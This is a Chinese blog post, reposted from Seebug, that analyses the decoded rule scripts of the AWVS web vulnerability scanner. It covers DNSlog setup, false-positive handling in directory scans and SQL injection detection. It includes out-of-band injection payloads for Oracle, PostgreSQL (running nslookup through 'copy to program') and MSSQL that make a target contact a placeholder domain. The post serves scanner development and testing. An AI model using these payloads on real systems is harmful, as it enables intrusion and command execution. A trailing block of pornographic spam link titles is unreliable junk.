AWVS掃描規則的分析

      網友投稿 1123 2022-05-30

      最近對awvs進行一些簡單研究,眾所周知awvs的非常好用的掃描器。強大的爬掃能力讓很多人很喜歡他,不過強大的話也對應有它的缺點,第一,體積龐大,掃描耗時間太久;第二,無法跨平臺,只能讓windows來用。不過這個幾個缺點對這個牛逼的掃描器貌似也沒啥影響,還是很多人愛用。

      不過對掃描器來說核心還是規則,我們還是可以重點分析一下awvs的掃描規則。

      一個web狗,不會分析二進制。所以我只能抓包來分析了。

      搭建一個漏洞url地址(這里只要一個url就夠了,多了payload就太多不好分析了)用burp來抓,設置好burp的代理地址(proxy-options-proxy listeners-add)。在awvs中在設置一下掃描器的使用的代理地址為burp就可以開心的抓包了。

      簡單的抓包,可以大體的看成來awvs都做哪些掃描,而且我們可以找到一些馬上可以用規則,比如破殼漏洞,文件讀取,備份文件掃描,敏感文件掃描,ssrf,頭注入等等。

      但是分析了一波流量,還是感覺很多payload找不到規則(比如sql注入的邏輯,jboss的漏洞匹配規則等等)。于是看了一下awvs的安裝目錄發現有一個data/scripts目錄,里面有很多加密的文件,不用說了一定是掃描規則。

      于是開始在網上找有沒有人做過這個的相關破解工作,發現還真有:

      http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/

      http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/

      問了一下博主要了一下規則,他就直接把規則同步github?https://github.com/c0ny1/awvs_script_decode

      這種“前人種樹,后人乘涼”的感覺還是很舒服的,所以自己以后也要多種種”樹“.

      打開規則一開全是類似javascript的腳本,直接看還是有點難懂。如果最好能運行并調試起來就美滋滋了。去搜索了一下官方的關于script的文檔發現,awvs提供了編寫script腳本的接口。

      http://www.acunetix.com/download/tools/WVSSDK.zip

      解壓以后里面有一個使用文檔,根據文檔就明白很多了。

      根據文檔我們可以知道:

      1.awvs提供了wvs scripting程序給我們進行自定義的腳本編寫,我們可以用它來對這些腳本進行調試,(只需要把這個文件拷貝到awvs的安裝目錄即可)。

      2.awvs 提供了script可用api,在https://www.acunetix.com/resources/sdk/種可以進行查看。

      3.script的幾個腳本目錄是根據掃描的特點進行分類的:

      3.1.includes 頭文件,用于常量聲明,生產隨機數 和md5加密等等,很多掃描的匹配規則會在這里定于這個文件

      3.2.network 主機的漏洞掃描 個人感覺非重點 比較avws是搞web掃描出名的。

      3.3.PerFile 在文件名上的加payload測試,比如根據文件名掃備份文件掃描,破殼漏洞掃描等,個人理解就是根據uri進行一些參數掃描

      3.4.PerFolder 根據目錄型的url 進行一些掃描 比如敏感目錄泄漏掃描,敏感文件泄漏掃描,git泄露掃描等。

      3.5.PerScheme awvs將有參數傳遞的url稱為Scheme,所以這個目錄就是在各個參數傳入點設置掃描payload進行對應的漏洞測試。比如命令執行漏洞,代碼執行漏洞,xss漏洞掃描,sql漏洞掃描等等。(我們可以在這個目錄中學到很多規則和漏洞掃描姿勢。)

      3.6.PerServer 一般用于測試第三方中間件,包括指紋識別,只最開始掃描的時候進行一次。比如Flask_Debug 打開,jboss各種漏洞,tomcat各種漏洞等。

      3.7 WebApps 第三方cms漏洞掃描。比如wordpress的漏洞掃描,joolma漏洞掃描等等

      下面以/Scripts/PerFile/Bash_RCE.script作為一個調試案例:

      使用wvs scripting打開/Scripts/PerFile/Bash_RCE.script文件。

      點擊小齒輪,設置掃描目標:

      這里比較蛋疼就是不能直接輸入掃描的目標(反正我沒找到),需要去load一下awvs爬蟲保存的.cwl文件。我們在awvs上簡單爬一下掃描的目標,然后保存成xxx.cwl。再通過wvs scripting去load這個文件。

      最后是運行,這里具體根據script來確定set target的什么類型,比如Bash_RCE.script,中用了var file = getCurrentFile(),你就需要set file target,最后run per file。(當然還有其他的就不再舉例子了)

      到這里我們就可以跑起每個腳本進行運行調試了,能跑起來,我們就可以去logInfo一些東西,這樣去看腳本都做哪些操作就簡單多了。

      tip:那么我們可以一個一個目錄的去分析每個腳本,當然也有一個小技巧去提前分析高危的掃描腳本。那就是先用awvs去掃一下他的測試站點:http://testphp.vulnweb.com/?,awvs會告訴你是哪個腳本發現的漏洞和且匹配到的內容,這樣我們就挑選自己最先想研究的漏洞來看。(不過要注意這個testphp測試站點,awvs默認啟動了AcuSensor Technology技術

      https://www.acunetix.com/vulnerability-scanner/acusensor-technology/

      如果你要用它做測試站點的話,代碼邏輯會走到acusensor對應的代碼)

      awvs在掃描前,都會對url進行的詳細的分類和參數的解析。常見為:file,folder,scheme等類型。幾乎每種類型的url都會有一個目錄對他進行專門的漏洞掃描。

      在掃描前對url進行比較細致的分類是可以學習一波的,特別是對scheme類型的url進行參數解析。大部分的掃描都會有這部分的參數解析,不過一般都是類似于(a=b&c=1的這種解析),但是如果參數是json格式的(b=1&c={"uname":"wilson","id":"23333"}) ,很多掃描器不支持,不過大家可以參加一下sqlmap的json格式解析(walk方法,https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/common.py)

      至于每種類型的url都會有一個目錄對它進行專門的漏洞掃描方式的話,你也可能選擇用一個腳本去處理一類漏洞類型,然后對這個漏洞類型可能在哪種url類型出現進行測試。

      看到代碼最大的好處就是可以看到他的匹配正則了,比如敏感部署文件備份匹配規則,任意文件讀取規則,sql報錯注入關鍵字匹配,命令執行等等。

      更多規則見腳本。

      https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/

      這東西簡單理解就是和你的dnslong一樣的,適用于掃描無回顯的漏洞,比如:

      Blind Server-side XML/SOAP Injection

      Blind XSS (also referred to as Delayed XSS)

      Host Header Attack

      Out-of-band Remote Code Execution (OOB RCE)

      Out-of-band SQL Injection (OOB SQLi)

      SMTP Header Injection

      Server-side Request Forgery (SSRF)

      XML External Entity Injection (XXE)

      我們可以在腳本中找到他們的規則:

      那么重點是怎么把漏洞和對應url關聯??

      我的處理是讓漏洞服務器發起http請求,將urlid帶到uri中,比如

      http://blog.wils0n.cn/urlid/param/cveid

      根據這uri中的urlid進行定位url參數。但是這樣會還是會有一些漏掃,比如ssrf只出現在http的host中,uri并不會帶入請求。

      所以比較準確一個是使用dns來做。例如:nslookup dns.urlid-param-cveid.wils0n.cn,在服務端上根據urlid-param-cveid來處理漏洞。

      關于dnslog service的搭建:

      使用方法一)一個服務器

      工具:https://github.com/Wyc0/DNSLog/blob/master/dns.py(簡單,一個腳本就夠了)

      觸發方法:nslookup urlid-param-cveid.wils0n.cn 服務器的ip

      這種方法必須指定后面的ip。

      使用方法二)一個服務器加一個域名:

      域名設置(請教了@izy和@鳳凰)

      對AWVS掃描規則的分析

      用阿里云的為例子:

      1.設置一個a記錄。ns1.wils0n.cn --->你的服務ip假如 118.11.11.11

      2.設置一個ns記錄。 dns.wils0n.cn --->ns1.wils0n.cn

      存在的問題:

      問題1)沒有響應包回復,導致請求會一直發,可以參考https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py?進行改進一下。

      問題2) url跳轉掃描可能會導致誤報的情況出現,由于dns請求會繞過很多跳,所以根據掃描ip來判斷是無法做到,暫時不知道怎么解決。。。不過誤報會比漏報好一些

      很多web掃描器的開始都是對url進行網站目錄和文件掃描,然后再結合爬蟲一起爬一下。

      因為大家的想法都是:“不管有沒有漏洞,我先掃一遍目錄再說”,所以網上這種爬目錄文件的工具極其多。

      看了一下網上的工具的邏輯大概是:

      1.取一個不可能存在的url,判斷是不是存在404的狀態碼。

      存在的404話,下面的判斷只要根據狀態碼來判斷是否存在就好了。

      不存在的話走下面2的邏輯。

      2.獲取該不存在url的相應內容,作為一個404不存在的頁面標示,接下去的掃描如果獲取到頁面不和這個404表示一樣的就認為是200的存在頁面。

      這個思路在大部分情況下面用。但是有些站點,你會發現掃到一堆200的誤報。分析為什么:

      在邏輯1中,404的判斷取一個不存在的url是不夠的,你需要取多個,因為有的站點xxxx.php是404,而xxxx.jsp就變成200了。

      在邏輯2中,有種情況是這個404的頁面是會不斷變化的,比如淘寶的404頁面中,下面會出現不同的鏈接商品推薦。這樣就會產生一大堆的誤報。

      那么我們分析一下awvs的目錄和文件掃描姿勢:(Backup_File.script,Sensitive_Files.script, Possible_Sensitive_Directories ,Possible_Sensitive_Files )

      第一)在Backup_File和Sensitive_Files中看到能用正則匹配的,先用規則來匹配,這個比較準確,誤報低。

      第二) Backup_File中我們發現,awvs的再解決邏輯2中出現的問題時候,用了一個小的tip:在發現頁面內容和404標示不一樣的時候,再去取了一個不存在的url2獲取新的404標示,然后判斷兩個標示是不是一樣,一樣的話說明這個200掃描沒用問題,從而去掉這個誤報。

      第三) 在Possible_Sensitive_Directories ,Possible_Sensitive_Files中,我們發現awvs去掉了邏輯2。只對存在404的url進行目錄和文件掃描。而目錄掃描和文件掃描的邏輯不一樣的,我們發現當一個文件存在時候返回時200,但是當一個目錄存在的時候確是302跳轉,我們需要匹配http頭的Location進行判斷。那么網上那些掃描目錄工具不就2b了么?

      這里其實要說到一個坑,這些工具都是使用了python的requests庫,這個庫默認是會進行url跟隨跳轉的。所以他們沒有必要區分掃描目錄和文件掃描。如果你把requests中設置了allow_redirects=False,那你就要去自己匹配http頭的Location關鍵字。

      個人感覺掃目錄邏輯走第一和第三就可以了。

      可能很多人都會用sqlmap來做注入檢查,但是sqlmap還是有點大,掃描payload比較多,掃描時間長。

      awvs的sql注入也可以參考一下:

      主要匹配的關鍵字有:

      You have an error in your SQL syntax|The database has encountered a problem|database error|unknown column\\s|SQL syntax.*MySQL|Warning.*mysql_.*|(Incorrect\ssyntax\snear\s'[^']*')|.....(很多大家去對應腳本里面找)

      這樣匹配的話,還是比較準確的,但是有的時候會有誤報。

      2.1 bool型的盲注入

      我把這部分的掃描邏輯理了一下,大概是這樣的:

      判斷參數是不是有效的,即:輸入和原來的值不一樣的參數時候,頁面(過濾過的,過濾了html標簽,當前輸入值,原始輸入值)是否一樣

      如果參數有效,就用 and payload 判斷是不是存在漏洞(多個判斷)

      如果參數無效,就用 or payload 判斷是不是存在漏洞(多個判斷)

      我參考以后,發現它會有一些漏掃描,比如 數字型等帶有單引號的注入。

      然后我決定優化一下,并去掉第三步的驗證。因為一般都無有效參數的,無效的參數一般不做檢查了,而且or注入可能會導致一些誤報等。

      2.2 基于時間盲注入

      原理很簡單,然后數據庫去sleep一段時間。payload對應腳本里面找,或者可以參考一下sqlmap的。

      然后就是注意各種閉合,比如: ', ", ), )), '), "), ')), ")), ;, 等等

      個人的實踐告訴我,基于時間的注入檢查是最準確的。如果你是甲方的話,基于時間盲注入應該是最適合你的了。因為你可以去監控mysql的慢日志或者異常日志去查詢sleep登關鍵字來結合著一起發現sql注入漏洞,我在實踐中是有用這種方法發現過一些比較隱蔽的sql注入的。

      測試oracle的注入:

      xxxx||UTL_INADDR.get_host_address('{DOMAIN}')

      PostgreSQL:

      {ORIGVALUE};copy?(select?'')?to?program?'nslookup?{DOMAIN}

      windows +mssql:

      {ORIGVALUE};EXEC?master..xp_dirtree?'\\{DOMAIN}\'?--

      同樣,也要注意各種閉合。

      xxe漏洞檢測,改變Content-type頭(text/xml,application/xml),可能會測出漏洞。

      更多腳本還在分析 .......

      很多挺好玩的漏洞掃描知識,因為文章篇幅和時間精力問題就沒有進行更多分析了,大家可以自己去找自己感覺好用的script進行debug和邏輯分析。分析到好的思路也可以分享出來看看。

      請勿用本文提到的技術進行未授權的滲透測試,我們不負任何連帶法律責任

      文章參考:

      http://www.acunetix.com/

      http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/

      http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/

      本文轉自 Seebug Paper 。地址:https://paper.seebug.org/461/

      漏洞掃描服務

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      上一篇:四大網絡抓包神器,總有一款適合你~
      下一篇:配置內外網IP訪問kafka集群
      相關文章
      亚洲成?Ⅴ人在线观看无码| 亚洲七久久之综合七久久| 亚洲成A人片在线观看中文| 亚洲三级在线观看| 亚洲va精品中文字幕| 亚洲图片中文字幕| 亚洲成av人片在线看片| 亚洲成电影在线观看青青| 亚洲婷婷在线视频| 亚洲婷婷在线视频| 亚洲av极品无码专区在线观看| 亚洲av一本岛在线播放| 2020国产精品亚洲综合网| 国产午夜亚洲精品| 亚洲乱码中文字幕在线| 亚洲精品无码久久| 国产在亚洲线视频观看| 亚洲成a人在线看天堂无码| 亚洲AV无码成H人在线观看| 另类小说亚洲色图| 亚洲人成人无码网www国产| 久久精品国产精品亚洲| 亚洲精品制服丝袜四区| 亚洲精品成人片在线观看精品字幕| 亚洲国产精品VA在线看黑人 | 亚洲国产精品乱码一区二区| 亚洲AV日韩AV天堂久久| 亚洲精品国产福利在线观看| 亚洲av无码片区一区二区三区| 亚洲第一男人天堂| 国产精品无码亚洲精品2021| 亚洲欧洲中文日韩av乱码| 狠狠综合久久综合88亚洲| 国产成A人亚洲精V品无码性色| 337p欧洲亚洲大胆艺术| 亚洲fuli在线观看| 久久水蜜桃亚洲AV无码精品| 亚洲精品久久久www| 亚洲av午夜福利精品一区人妖| 亚洲综合区图片小说区| 亚洲综合激情五月丁香六月|